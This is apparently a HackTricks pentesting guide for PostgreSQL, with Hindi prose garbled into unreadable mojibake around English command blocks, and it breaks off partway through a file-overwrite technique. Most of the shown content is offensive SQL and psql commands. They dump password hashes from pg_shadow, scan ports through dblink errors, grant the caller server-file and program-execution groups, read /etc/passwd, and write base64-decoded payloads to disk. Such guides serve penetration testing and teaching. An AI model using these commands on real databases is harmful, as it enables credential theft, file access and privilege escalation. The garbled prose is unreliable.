5432,5433 - Pentesting Postgresql

Trickest рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ рддрд╛рдХрд┐ рдЖрдк рджреБрдирд┐рдпрд╛ рдХреЗ рд╕рдмрд╕реЗ рдЙрдиреНрдирдд рд╕рд╛рдореБрджрд╛рдпрд┐рдХ рдЙрдкрдХрд░рдгреЛрдВ рджреНрд╡рд╛рд░рд╛ рд╕рдВрдЪрд╛рд▓рд┐рдд рдХрд╛рд░реНрдпрдкреНрд░рд╡рд╛рд╣реЛрдВ рдХреЛ рдЖрд╕рд╛рдиреА рд╕реЗ рдмрдирд╛ рдФрд░ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдХрд░ рд╕рдХреЗрдВред рдЖрдЬ рд╣реА рдПрдХреНрд╕реЗрд╕ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ:

AWS рд╣реИрдХрд┐рдВрдЧ рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ:HackTricks Training AWS Red Team Expert (ARTE) GCP рд╣реИрдХрд┐рдВрдЧ рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks рдХрд╛ рд╕рдорд░реНрдерди рдХрд░реЗрдВ

рдмреБрдирд┐рдпрд╛рджреА рдЬрд╛рдирдХрд╛рд░реА

PostgreSQL рдХреЛ рдПрдХ рдСрдмреНрдЬреЗрдХреНрдЯ-рд░рд┐рд▓реЗрд╢рдирд▓ рдбреЗрдЯрд╛рдмреЗрд╕ рд╕рд┐рд╕реНрдЯрдо рдХреЗ рд░реВрдк рдореЗрдВ рд╡рд░реНрдгрд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдЬреЛ рдУрдкрди рд╕реЛрд░реНрд╕ рд╣реИред рдпрд╣ рд╕рд┐рд╕реНрдЯрдо рди рдХреЗрд╡рд▓ SQL рднрд╛рд╖рд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ рдмрд▓реНрдХрд┐ рдЗрд╕реЗ рдЕрддрд┐рд░рд┐рдХреНрдд рд╕реБрд╡рд┐рдзрд╛рдУрдВ рдХреЗ рд╕рд╛рде рдмрдврд╝рд╛рддрд╛ рд╣реИред рдЗрд╕рдХреА рдХреНрд╖рдорддрд╛рдПрдБ рдЗрд╕реЗ рд╡рд┐рднрд┐рдиреНрди рдкреНрд░рдХрд╛рд░ рдХреЗ рдбреЗрдЯрд╛ рдФрд░ рд╕рдВрдЪрд╛рд▓рди рдХреЛ рд╕рдВрднрд╛рд▓рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИрдВ, рдЬрд┐рд╕рд╕реЗ рдпрд╣ рдбреЗрд╡рд▓рдкрд░реНрд╕ рдФрд░ рд╕рдВрдЧрдардиреЛрдВ рдХреЗ рд▓рд┐рдП рдПрдХ рдмрд╣реБрдкрд░рдХрд╛рд░реА рд╡рд┐рдХрд▓реНрдк рдмрдирддрд╛ рд╣реИред

рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдкреЛрд░реНрдЯ: 5432, рдФрд░ рдпрджрд┐ рдпрд╣ рдкреЛрд░реНрдЯ рдкрд╣рд▓реЗ рд╕реЗ рд╣реА рдЙрдкрдпреЛрдЧ рдореЗрдВ рд╣реИ рддреЛ рдРрд╕рд╛ рд▓рдЧрддрд╛ рд╣реИ рдХрд┐ рдкреЛрд╕реНрдЯрдЧреНрд░реЗрдПрд╕рдХреНрдпреВрдПрд▓ рдЕрдЧрд▓рд╛ рдкреЛрд░реНрдЯ (рд╕рдВрднрд╡рддрдГ 5433) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдЧрд╛ рдЬреЛ рдЙрдкрдпреЛрдЧ рдореЗрдВ рдирд╣реАрдВ рд╣реИред

PORT     STATE SERVICE
5432/tcp open  pgsql

рдХрдиреЗрдХреНрдЯ рдФрд░ рдмреЗрд╕рд┐рдХ рдПрдирдо

psql -U <myuser> # Open psql console with user
psql -h <host> -U <username> -d <database> # Remote connection
psql -h <host> -p <port> -U <username> -W <password> <database> # Remote connection
psql -h localhost -d <database_name> -U <User> #Password will be prompted
\list # List databases
\c <database> # use the database
\d # List tables
\du+ # Get users roles

# Get current user
SELECT user;

# Get current database
SELECT current_catalog;

# List schemas
SELECT schema_name,schema_owner FROM information_schema.schemata;
\dn+

#List databases
SELECT datname FROM pg_database;

#Read credentials (usernames + pwd hash)
SELECT usename, passwd from pg_shadow;

# Get languages
SELECT lanname,lanacl FROM pg_language;

# Show installed extensions
SHOW rds.extensions;
SELECT * FROM pg_extension;

# Get history of commands executed
\s

рдпрджрд┐ \list рдЪрд▓рд╛рддреЗ рд╕рдордп рдЖрдкрдХреЛ rdsadmin рдирд╛рдордХ рдПрдХ рдбреЗрдЯрд╛рдмреЗрд╕ рдорд┐рд▓рддрд╛ рд╣реИ, рддреЛ рдЖрдк рдЬрд╛рдирддреЗ рд╣реИрдВ рдХрд┐ рдЖрдк рдПрдХ AWS postgresql рдбреЗрдЯрд╛рдмреЗрд╕ рдХреЗ рдЕрдВрджрд░ рд╣реИрдВред

PostgreSQL рдбреЗрдЯрд╛рдмреЗрд╕ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП рджреЗрдЦреЗрдВ:

PostgreSQL injection

рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдЧрдгрдирд╛

msf> use auxiliary/scanner/postgres/postgres_version
msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection

рдкреЛрд░реНрдЯ рд╕реНрдХреИрдирд┐рдВрдЧ

рдЗрд╕ рд╢реЛрдз рдХреЗ рдЕрдиреБрд╕рд╛рд░, рдЬрдм рдПрдХ рдХрдиреЗрдХреНрд╢рди рдкреНрд░рдпрд╛рд╕ рд╡рд┐рдлрд▓ рд╣реЛрддрд╛ рд╣реИ, dblink рдПрдХ sqlclient_unable_to_establish_sqlconnection рдЕрдкрд╡рд╛рдж рдлреЗрдВрдХрддрд╛ рд╣реИ рдЬрд┐рд╕рдореЗрдВ рддреНрд░реБрдЯрд┐ рдХрд╛ рд╡рд┐рд╡рд░рдг рд╢рд╛рдорд┐рд▓ рд╣реЛрддрд╛ рд╣реИред рдЗрди рд╡рд┐рд╡рд░рдгреЛрдВ рдХреЗ рдЙрджрд╛рд╣рд░рдг рдиреАрдЪреЗ рд╕реВрдЪреАрдмрджреНрдз рд╣реИрдВред

SELECT * FROM dblink_connect('host=1.2.3.4
port=5678
user=name
password=secret
dbname=abc
connect_timeout=10');
  • рд╣реЛрд╕реНрдЯ рдбрд╛рдЙрди рд╣реИ

DETAIL: рд╕рд░реНрд╡рд░ рд╕реЗ рдХрдиреЗрдХреНрдЯ рдирд╣реАрдВ рд╣реЛ рд╕рдХрд╛: рд╣реЛрд╕реНрдЯ рдХреЗ рд▓рд┐рдП рдХреЛрдИ рдорд╛рд░реНрдЧ рдирд╣реАрдВ рд╣реИ рдХреНрдпрд╛ рд╕рд░реНрд╡рд░ рд╣реЛрд╕реНрдЯ "1.2.3.4" рдкрд░ рдЪрд▓ рд░рд╣рд╛ рд╣реИ рдФрд░ рдкреЛрд░реНрдЯ 5678 рдкрд░ TCP/IP рдХрдиреЗрдХреНрд╢рди рд╕реНрд╡реАрдХрд╛рд░ рдХрд░ рд░рд╣рд╛ рд╣реИ?

  • рдкреЛрд░реНрдЯ рдмрдВрдж рд╣реИ

DETAIL:  could not connect to server: Connection refused Is  the  server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
  • рдкреЛрд░реНрдЯ рдЦреБрд▓рд╛ рд╣реИ

DETAIL:  server closed the connection unexpectedly This  probably  means
the server terminated abnormally before or while processing the request

or

DETAIL:  FATAL:  password authentication failed for user "name"
  • рдкреЛрд░реНрдЯ рдЦреБрд▓рд╛ рд╣реИ рдпрд╛ рдлрд╝рд┐рд▓реНрдЯрд░ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ

DETAIL:  could not connect to server: Connection timed out Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?

In PL/pgSQL рдлрд╝рдВрдХреНрд╢рдВрд╕ рдореЗрдВ, рд╡рд░реНрддрдорд╛рди рдореЗрдВ рдЕрдкрд╡рд╛рдж рд╡рд┐рд╡рд░рдг рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ рд╕рдВрднрд╡ рдирд╣реАрдВ рд╣реИред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ PostgreSQL рд╕рд░реНрд╡рд░ рддрдХ рд╕реАрдзреА рдкрд╣реБрдБрдЪ рд╣реИ, рддреЛ рдЖрдк рдЖрд╡рд╢реНрдпрдХ рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдпрджрд┐ рд╕рд┐рд╕реНрдЯрдо рддрд╛рд▓рд┐рдХрд╛рдУрдВ рд╕реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо рдФрд░ рдкрд╛рд╕рд╡рд░реНрдб рдирд┐рдХрд╛рд▓рдирд╛ рд╕рдВрднрд╡ рдирд╣реАрдВ рд╣реИ, рддреЛ рдЖрдк рдкрд┐рдЫрд▓реЗ рдЕрдиреБрднрд╛рдЧ рдореЗрдВ рдЪрд░реНрдЪрд╛ рдХреА рдЧрдИ рд╢рдмреНрджрд╕реВрдЪреА рд╣рдорд▓реЗ рдХреА рд╡рд┐рдзрд┐ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдкрд░ рд╡рд┐рдЪрд╛рд░ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ рд╕рдХрд╛рд░рд╛рддреНрдордХ рдкрд░рд┐рдгрд╛рдо рджреЗ рд╕рдХрддрд╛ рд╣реИред

рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░реЛрдВ рдХреА рдЧрдгрдирд╛

рднреВрдорд┐рдХрд╛рдПрдБ

рднреВрдорд┐рдХрд╛ рдкреНрд░рдХрд╛рд░

rolsuper

рднреВрдорд┐рдХрд╛ рдХреЗ рдкрд╛рд╕ рд╕реБрдкрд░рдпреВрдЬрд░ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╣реИрдВ

rolinherit

рднреВрдорд┐рдХрд╛ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рдЙрди рднреВрдорд┐рдХрд╛рдУрдВ рдХреЗ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░реЛрдВ рдХреЛ рд╡рд┐рд░рд╛рд╕рдд рдореЗрдВ рд▓реЗрддреА рд╣реИ рдЬрд┐рдирдХреА рдпрд╣ рд╕рджрд╕реНрдп рд╣реИ

rolcreaterole

рднреВрдорд┐рдХрд╛ рдЕрдзрд┐рдХ рднреВрдорд┐рдХрд╛рдПрдБ рдмрдирд╛ рд╕рдХрддреА рд╣реИ

rolcreatedb

рднреВрдорд┐рдХрд╛ рдбреЗрдЯрд╛рдмреЗрд╕ рдмрдирд╛ рд╕рдХрддреА рд╣реИ

rolcanlogin

рднреВрдорд┐рдХрд╛ рд▓реЙрдЧ рдЗрди рдХрд░ рд╕рдХрддреА рд╣реИред рдЕрд░реНрдерд╛рдд, рдЗрд╕ рднреВрдорд┐рдХрд╛ рдХреЛ рдкреНрд░рд╛рд░рдВрднрд┐рдХ рд╕рддреНрд░ рдкреНрд░рд╛рдзрд┐рдХрд░рдг рдкрд╣рдЪрд╛рдирдХрд░реНрддрд╛ рдХреЗ рд░реВрдк рдореЗрдВ рджрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ

rolreplication

рднреВрдорд┐рдХрд╛ рдПрдХ рдкреБрдирд░реБрддреНрдкрд╛рджрди рднреВрдорд┐рдХрд╛ рд╣реИред рдПрдХ рдкреБрдирд░реБрддреНрдкрд╛рджрди рднреВрдорд┐рдХрд╛ рдкреБрдирд░реБрддреНрдкрд╛рджрди рдХрдиреЗрдХреНрд╢рди рдЖрд░рдВрдн рдХрд░ рд╕рдХрддреА рд╣реИ рдФрд░ рдкреБрдирд░реБрддреНрдкрд╛рджрди рд╕реНрд▓реЙрдЯ рдмрдирд╛ рдФрд░ рд╣рдЯрд╛ рд╕рдХрддреА рд╣реИред

rolconnlimit

рдЙрди рднреВрдорд┐рдХрд╛рдУрдВ рдХреЗ рд▓рд┐рдП рдЬреЛ рд▓реЙрдЧ рдЗрди рдХрд░ рд╕рдХрддреА рд╣реИрдВ, рдпрд╣ рдЗрд╕ рднреВрдорд┐рдХрд╛ рджреНрд╡рд╛рд░рд╛ рдмрдирд╛рдП рдЬрд╛ рд╕рдХрдиреЗ рд╡рд╛рд▓реЗ рдЕрдзрд┐рдХрддрдо рд╕рдорд╡рд░реНрддреА рдХрдиреЗрдХреНрд╢рдиреЛрдВ рдХреА рд╕рдВрдЦреНрдпрд╛ рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд░рддрд╛ рд╣реИред -1 рдХрд╛ рдЕрд░реНрде рд╣реИ рдХреЛрдИ рд╕реАрдорд╛ рдирд╣реАрдВред

rolpassword

рдкрд╛рд╕рд╡рд░реНрдб рдирд╣реАрдВ (рд╣рдореЗрд╢рд╛ ******** рдХреЗ рд░реВрдк рдореЗрдВ рдкрдврд╝рддрд╛ рд╣реИ)

rolvaliduntil

рдкрд╛рд╕рд╡рд░реНрдб рд╕рдорд╛рдкреНрддрд┐ рд╕рдордп (рдХреЗрд╡рд▓ рдкрд╛рд╕рд╡рд░реНрдб рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ); рдпрджрд┐ рдХреЛрдИ рд╕рдорд╛рдкреНрддрд┐ рдирд╣реАрдВ рд╣реИ рддреЛ рд╢реВрдиреНрдп

rolbypassrls

рднреВрдорд┐рдХрд╛ рд╣рд░ рдкрдВрдХреНрддрд┐-рд╕реНрддрд░реАрдп рд╕реБрд░рдХреНрд╖рд╛ рдиреАрддрд┐ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рддреА рд╣реИ, рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП рдЕрдиреБрднрд╛рдЧ 5.8 рджреЗрдЦреЗрдВред

rolconfig

рд░рди-рдЯрд╛рдЗрдо рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рд╡реЗрд░рд┐рдПрдмрд▓ рдХреЗ рд▓рд┐рдП рднреВрдорд┐рдХрд╛-рд╡рд┐рд╢рд┐рд╖реНрдЯ рдбрд┐рдлрд╝реЙрд▓реНрдЯ

oid

рднреВрдорд┐рдХрд╛ рдХреА рдЖрдИрдбреА

рджрд┐рд▓рдЪрд╕реНрдк рд╕рдореВрд╣

  • рдпрджрд┐ рдЖрдк pg_execute_server_program рдХреЗ рд╕рджрд╕реНрдп рд╣реИрдВ рддреЛ рдЖрдк рдХрд╛рд░реНрдпрдХреНрд░рдореЛрдВ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ

  • рдпрджрд┐ рдЖрдк pg_read_server_files рдХреЗ рд╕рджрд╕реНрдп рд╣реИрдВ рддреЛ рдЖрдк рдлрд╛рдЗрд▓реЛрдВ рдХреЛ рдкрдврд╝ рд╕рдХрддреЗ рд╣реИрдВ

  • рдпрджрд┐ рдЖрдк pg_write_server_files рдХреЗ рд╕рджрд╕реНрдп рд╣реИрдВ рддреЛ рдЖрдк рдлрд╛рдЗрд▓реЛрдВ рдХреЛ рд▓рд┐рдЦ рд╕рдХрддреЗ рд╣реИрдВ

рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ Postgres рдореЗрдВ рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛, рдПрдХ рд╕рдореВрд╣ рдФрд░ рдПрдХ рднреВрдорд┐рдХрд╛ рдПрдХ рд╣реА рд╣реИред рдпрд╣ рдХреЗрд╡рд▓ рдЗрд╕ рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдЖрдк рдЗрд╕реЗ рдХреИрд╕реЗ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ рдФрд░ рдпрджрд┐ рдЖрдк рдЗрд╕реЗ рд▓реЙрдЧ рдЗрди рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреЗ рд╣реИрдВред

# Get users roles
\du

#Get users roles & groups
# r.rolpassword
# r.rolconfig,
SELECT
r.rolname,
r.rolsuper,
r.rolinherit,
r.rolcreaterole,
r.rolcreatedb,
r.rolcanlogin,
r.rolbypassrls,
r.rolconnlimit,
r.rolvaliduntil,
r.oid,
ARRAY(SELECT b.rolname
FROM pg_catalog.pg_auth_members m
JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid)
WHERE m.member = r.oid) as memberof
, r.rolreplication
FROM pg_catalog.pg_roles r
ORDER BY 1;

# Check if current user is superiser
## If response is "on" then true, if "off" then false
SELECT current_setting('is_superuser');

# Try to grant access to groups
## For doing this you need to be admin on the role, superadmin or have CREATEROLE role (see next section)
GRANT pg_execute_server_program TO "username";
GRANT pg_read_server_files TO "username";
GRANT pg_write_server_files TO "username";
## You will probably get this error:
## Cannot GRANT on the "pg_write_server_files" role without being a member of the role.

# Create new role (user) as member of a role (group)
CREATE ROLE u LOGIN PASSWORD 'lriohfugwebfdwrr' IN GROUP pg_read_server_files;
## Common error
## Cannot GRANT on the "pg_read_server_files" role without being a member of the role.

рддрд╛рд▓рд┐рдХрд╛рдПрдБ

# Get owners of tables
select schemaname,tablename,tableowner from pg_tables;
## Get tables where user is owner
select schemaname,tablename,tableowner from pg_tables WHERE tableowner = 'postgres';

# Get your permissions over tables
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants;

#Check users privileges over a table (pg_shadow on this example)
## If nothing, you don't have any permission
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants WHERE table_name='pg_shadow';

рдХрд╛рд░реНрдп

# Interesting functions are inside pg_catalog
\df * #Get all
\df *pg_ls* #Get by substring
\df+ pg_read_binary_file #Check who has access

# Get all functions of a schema
\df pg_catalog.*

# Get all functions of a schema (pg_catalog in this case)
SELECT routines.routine_name, parameters.data_type, parameters.ordinal_position
FROM information_schema.routines
LEFT JOIN information_schema.parameters ON routines.specific_name=parameters.specific_name
WHERE routines.specific_schema='pg_catalog'
ORDER BY routines.routine_name, parameters.ordinal_position;

# Another aparent option
SELECT * FROM pg_proc;

рдлрд╝рд╛рдЗрд▓-рдкреНрд░рдгрд╛рд▓реА рдХреНрд░рд┐рдпрд╛рдПрдБ

рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛рдПрдБ рдФрд░ рдлрд╝рд╛рдЗрд▓реЗрдВ рдкрдврд╝реЗрдВ

рдЗрд╕ рдХрдорд┐рдЯ рд╕реЗ рдкрд░рд┐рднрд╛рд╖рд┐рдд DEFAULT_ROLE_READ_SERVER_FILES рд╕рдореВрд╣ (рдЬрд┐рд╕реЗ pg_read_server_files рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИ) рдФрд░ рд╕реБрдкрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд┐рд╕реА рднреА рдкрде рдкрд░ COPY рд╡рд┐рдзрд┐ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (рджреЗрдЦреЗрдВ convert_and_check_filename рдореЗрдВ genfile.c):

# Read file
CREATE TABLE demo(t text);
COPY demo from '/etc/passwd';
SELECT * FROM demo;

рдпрд╛рдж рд░рдЦреЗрдВ рдХрд┐ рдпрджрд┐ рдЖрдк рд╕реБрдкрд░ рдпреВрдЬрд░ рдирд╣реАрдВ рд╣реИрдВ рд▓реЗрдХрд┐рди рдЖрдкрдХреЗ рдкрд╛рд╕ CREATEROLE рдЕрдиреБрдорддрд┐рдпрд╛рдБ рд╣реИрдВ, рддреЛ рдЖрдк рдЕрдкрдиреЗ рдЖрдк рдХреЛ рдЙрд╕ рд╕рдореВрд╣ рдХрд╛ рд╕рджрд╕реНрдп рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВ:

GRANT pg_read_server_files TO username;

рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реАред

рдХреБрдЫ рдЕрдиреНрдп postgres рдлрд╝рдВрдХреНрд╢рди рд╣реИрдВ рдЬрд┐рдиреНрд╣реЗрдВ рдлрд╝рд╛рдЗрд▓ рдкрдврд╝рдиреЗ рдпрд╛ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рд╕реВрдЪреАрдмрджреНрдз рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдХреЗрд╡рд▓ рд╕реБрдкрд░рдпреВрдЬрд╝рд░реНрд╕ рдФрд░ рд╕реНрдкрд╖реНрдЯ рдЕрдиреБрдорддрд┐рдпреЛрдВ рд╡рд╛рд▓реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╣реА рдЙрдирдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

# Before executing these function go to the postgres DB (not in the template1)
\c postgres
## If you don't do this, you might get "permission denied" error even if you have permission

select * from pg_ls_dir('/tmp');
select * from pg_read_file('/etc/passwd', 0, 1000000);
select * from pg_read_binary_file('/etc/passwd');

# Check who has permissions
\df+ pg_ls_dir
\df+ pg_read_file
\df+ pg_read_binary_file

# Try to grant permissions
GRANT EXECUTE ON function pg_catalog.pg_ls_dir(text) TO username;
# By default you can only access files in the datadirectory
SHOW data_directory;
# But if you are a member of the group pg_read_server_files
# You can access any file, anywhere
GRANT pg_read_server_files TO username;
# Check CREATEROLE privilege escalation

рдЖрдк рдЕрдзрд┐рдХ рдлрд╝рдВрдХреНрд╢рди https://www.postgresql.org/docs/current/functions-admin.html рдкрд░ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ

рд╕рд░рд▓ рдлрд╝рд╛рдЗрд▓ рд▓реЗрдЦрди

рдХреЗрд╡рд▓ рд╕реБрдкрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдФрд░ pg_write_server_files рдХреЗ рд╕рджрд╕реНрдп рдлрд╝рд╛рдЗрд▓реЗрдВ рд▓рд┐рдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдХреЙрдкреА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

copy (select convert_from(decode('<ENCODED_PAYLOAD>','base64'),'utf-8')) to '/just/a/path.exec';

рдпрд╛рдж рд░рдЦреЗрдВ рдХрд┐ рдпрджрд┐ рдЖрдк рд╕реБрдкрд░ рдпреВрдЬрд░ рдирд╣реАрдВ рд╣реИрдВ рд▓реЗрдХрд┐рди рдЖрдкрдХреЗ рдкрд╛рд╕ CREATEROLE рдЕрдиреБрдорддрд┐рдпрд╛рдБ рд╣реИрдВ, рддреЛ рдЖрдк рдЕрдкрдиреЗ рдЖрдк рдХреЛ рдЙрд╕ рд╕рдореВрд╣ рдХрд╛ рд╕рджрд╕реНрдп рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВ:

GRANT pg_write_server_files TO username;

рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реАред

рдпрд╛рдж рд░рдЦреЗрдВ рдХрд┐ COPY рдирдИ рд▓рд╛рдЗрди рдХреИрд░рдХреНрдЯрд░ рдХреЛ рд╕рдВрднрд╛рд▓ рдирд╣реАрдВ рд╕рдХрддрд╛, рдЗрд╕рд▓рд┐рдП рднрд▓реЗ рд╣реА рдЖрдк рдПрдХ base64 рдкреЗрд▓реЛрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣реЗ рд╣реЛрдВ, рдЖрдкрдХреЛ рдПрдХ рд▓рд╛рдЗрди рдореЗрдВ рднреЗрдЬрдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред рдЗрд╕ рддрдХрдиреАрдХ рдХреА рдПрдХ рдмрд╣реБрдд рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╕реАрдорд╛ рдпрд╣ рд╣реИ рдХрд┐ copy рдмрд╛рдЗрдирд░реА рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рд▓рд┐рдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ рдХреБрдЫ рдмрд╛рдЗрдирд░реА рдорд╛рдиреЛрдВ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рддрд╛ рд╣реИред

рдмрд╛рдЗрдирд░реА рдлрд╝рд╛рдЗрд▓реЗрдВ рдЕрдкрд▓реЛрдб рдХрд░рдирд╛

рд╣рд╛рд▓рд╛рдВрдХрд┐, рдмрдбрд╝реЗ рдмрд╛рдЗрдирд░реА рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рдЕрдкрд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдиреНрдп рддрдХрдиреАрдХреЗрдВ рд╣реИрдВ:

Big Binary Files Upload (PostgreSQL)

рдмрдЧ рдмрд╛рдЙрдВрдЯреА рдЯрд┐рдк: Intigriti рдХреЗ рд▓рд┐рдП рд╕рд╛рдЗрди рдЕрдк рдХрд░реЗрдВ, рдПрдХ рдкреНрд░реАрдорд┐рдпрдо рдмрдЧ рдмрд╛рдЙрдВрдЯреА рдкреНрд▓реЗрдЯрдлреЙрд░реНрдо рдЬреЛ рд╣реИрдХрд░реНрд╕ рджреНрд╡рд╛рд░рд╛, рд╣реИрдХрд░реНрд╕ рдХреЗ рд▓рд┐рдП рдмрдирд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ! рдЖрдЬ рд╣реА https://go.intigriti.com/hacktricks рдкрд░ рд╣рдорд╛рд░реЗ рд╕рд╛рде рдЬреБрдбрд╝реЗрдВ, рдФрд░ $100,000 рддрдХ рдХреЗ рдмрд╛рдЙрдВрдЯреА рдХрдорд╛рдирд╛ рд╢реБрд░реВ рдХрд░реЗрдВ!

рд╕реНрдерд╛рдиреАрдп рдлрд╝рд╛рдЗрд▓ рд▓реЗрдЦрди рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ PostgreSQL рддрд╛рд▓рд┐рдХрд╛ рдбреЗрдЯрд╛ рдХреЛ рдЕрдкрдбреЗрдЯ рдХрд░рдирд╛

рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ PostgreSQL рд╕рд░реНрд╡рд░ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рдкрдврд╝рдиреЗ рдФрд░ рд▓рд┐рдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рдЕрдиреБрдорддрд┐рдпрд╛рдБ рд╣реИрдВ, рддреЛ рдЖрдк рд╕рдВрдмрдВрдзрд┐рдд рдлрд╝рд╛рдЗрд▓ рдиреЛрдб рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░рдХреЗ рд╕рд░реНрд╡рд░ рдкрд░ рдХрд┐рд╕реА рднреА рддрд╛рд▓рд┐рдХрд╛ рдХреЛ рдЕрдкрдбреЗрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ PostgreSQL рдбреЗрдЯрд╛ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдореЗрдВред рдЗрд╕ рддрдХрдиреАрдХ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдпрд╣рд╛рдБред

рдЖрд╡рд╢реНрдпрдХ рдХрджрдо:

  1. PostgreSQL рдбреЗрдЯрд╛ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ

SELECT setting FROM pg_settings WHERE name = 'data_directory';

